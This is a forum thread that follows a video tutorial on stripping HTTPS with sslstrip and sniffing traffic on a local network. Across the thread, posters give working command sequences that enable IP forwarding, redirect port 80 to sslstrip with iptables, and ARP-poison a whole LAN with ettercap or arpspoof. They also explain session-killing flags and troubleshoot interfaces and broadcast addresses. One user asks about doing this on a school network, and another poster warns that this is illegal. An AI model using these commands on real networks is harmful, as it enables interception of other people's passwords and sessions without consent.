[Video] How to: Snifff SSL / HTTPS (sslstrip)

[Av4t4r]

Hi all. I've a question. Why do you use "-k" when you launch sslstrip? what's the difference if you don't use it? (I'm about to try that)

Thank you


Av4t4r.


P.S: my first post

[joker5bb]

Here is a better way of doing this:

kate /etc/etter.conf
>*uncomment redir_command_off & redir_command_on in the iptables, linux section*
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -a -k -f
ettercap -T -q -i wlan0 -M ARP //

This way we could poison all ip

[g0tmi1k]

Theres also xhydra if you dont like the CLI helps with trial and error type of attacks

Isnt xhydra xhydra Bruteforcing? This isnt about that. This is about sniffing traffic and watching it being pass over the network. Not us doing trial and errorpassword guessing.

I cant see the reason for using both ettercap AND arp-spoof. You can do the arp-poisoning using ettercap, no need for arp-soof.

(If I am mistaken, please do correct me)

I had problems when using JUST ettercap. I dunno why that was right now tho

That was the great posting.

I have doubt

I dont find wlan0 in my lan.

Can i interchange, it will eth0

will it work???

wlan0 = Wireless
eth0 = Ethernet (wired).
I was doing it over my wireless network. If you dont have a wireless network - you can also do it over wired, just replace wlan0 with your interface! (e.g. eth0 or eth1)

Can anyone provide a "cleanup" routine for this?

So the attacker system is in same state as before.

Thanks
Leroy

As Corleone said

iptables --flush

will reset the iptables. the other programs , once you quit them, tidy themselves up.

You have some typo's in your code:

kate /etc/etter.conf

and

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

thats all

Thanks for pointing this out!

Thanks for the tut, I've tryed it and all work correctly.
I've just a question.. how can I "arpspoofing" the the entire lan? can I use something like this?

arpspoof -i wlan0 -t 192.168.*.* 192.168.1.1

khianhui has this covered.

you should find it out which is the broadcast address of your network. For example 192.168.1.255 instead of 192.168.1.*.

Hi all. I've a question. Why do you use "-k" when you launch sslstrip? what's the difference if you don't use it? (I'm about to try that)

Thank you


Av4t4r.


P.S: my first post

sslstrip 0.6 by Moxie Marlinspike
Usage: sslstrip <options>
Options:
-w <filename>, --write=<filename> Specify file to log to (optional).
-p , --post Log only SSL POSTs. (default)
-s , --ssl Log all SSL traffic to and from server.
-a , --all Log all SSL and HTTP traffic to and from server.
-l <port>, --listen=<port> Port to listen on (default 10000).
-f , --favicon Substitute a lock favicon on secure requests.
-k , --killsessions Kill sessions in progress.
-h Print this help message.
What this does (If I remember rightly), any current connect sessions, are killed once this is run. For example. if they where logged into gmail, they would have to re log in again. I also recommend trying trying "-f". See what that does

Here is a better way of doing this:

kate /etc/etter.conf
>*uncomment redir_command_off & redir_command_on in the iptables, linux section*
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -a -k -f
ettercap -T -q -i wlan0 -M ARP //

This way we could poison all ip

I had problems when I tired it using ettercap to do the arp posion. You can tho do all IPs with arpspoof! *see above*
edit: Your also missing an extra // if you did wanna try ettercap

 ettercap -T -q -i wlan0 -M ARP // //

[ch0k|t0]

Hello. I don't understand some sitiations.

Why are you using --destination port 80 if https work on port 443?.
On my case, change the value in ip_forward is not working; I just can use the forwarding capabilities when use fragrouter but the sniffer don't work, no one decripted data I can get.

I have tried make the attack on my test room and I can't get it work.

iptables -t nat A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

[mastodongle]

can this be done with the mon0 interface simply while sniffing the network with airmon-ng or does wlan0 have to actually be connected to the wireless network in order to use arpspoof and sslstrip?

[joker5bb]

can this be done with the mon0 interface simply while sniffing the network with airmon-ng or does wlan0 have to actually be connected to the wireless network in order to use arpspoof and sslstrip?

you need to be on the gateway for the attack

[proisr]

Thank you so much man!
I didn't know how to bypass the SSL security.

BTW: I think someone on my net (200+ PCs on the net) tried to sniff my brother's passwords...(firefox blocked it like in your video).

Is there any way which I can track the attacker / block the attacks?

edit: I wasn't able to sniff the whole network.
How can I sniff (with ettercap) range of IPs?
Because putting 192.168.0.255 didn't work (it's just 1 computer)

[nicksiz]

you are perfect m8! and i have a question


we use cyberoam to enter the internet @ my school. When you connect to school wireless, its redirect you http://192.168.150.1:8090/httpclient.html and you have to enter your username and password to use internet connection..

1. should i enter my pass and user name to sniff? Or being connected to wireless enough?
2. when i use ifconfig it says Bcast:192.168.62.255 do i use this instead of 192.168.1.1?

[WolverineOD]

we use cyberoam to enter the internet @ my school

As tempting as it may be to try arpspoofing your school network, You should first realize that its illegal to do without explicit consent from your school (Which i doubt they will give) and that we don't support or condone this kind of activity in these forums. Besides which this will totally kill all the network traffic(because all the traffic is being routed through the attackers pc, downside of arpspoofing) and your system admins will likely notice if they know what they are doing. Its not worth it. Take care mate.

However if anybody else is confused about this:

when i use ifconfig it says Bcast:192.168.62.255 do i use this instead of 192.168.1.1?

Yes this is the case. If you have a different broadcast address, use it. The addresses given by g0tmi1k are only example addresses, which apply to the network he was using. Addresses will likely be different for your own network. Hope that helps.

[nicksiz]

thanks m8 for your answer. its not illegal because i have doing it with my teacher for his pc only but we didnt done it . thanks 4 your help this forum is perfect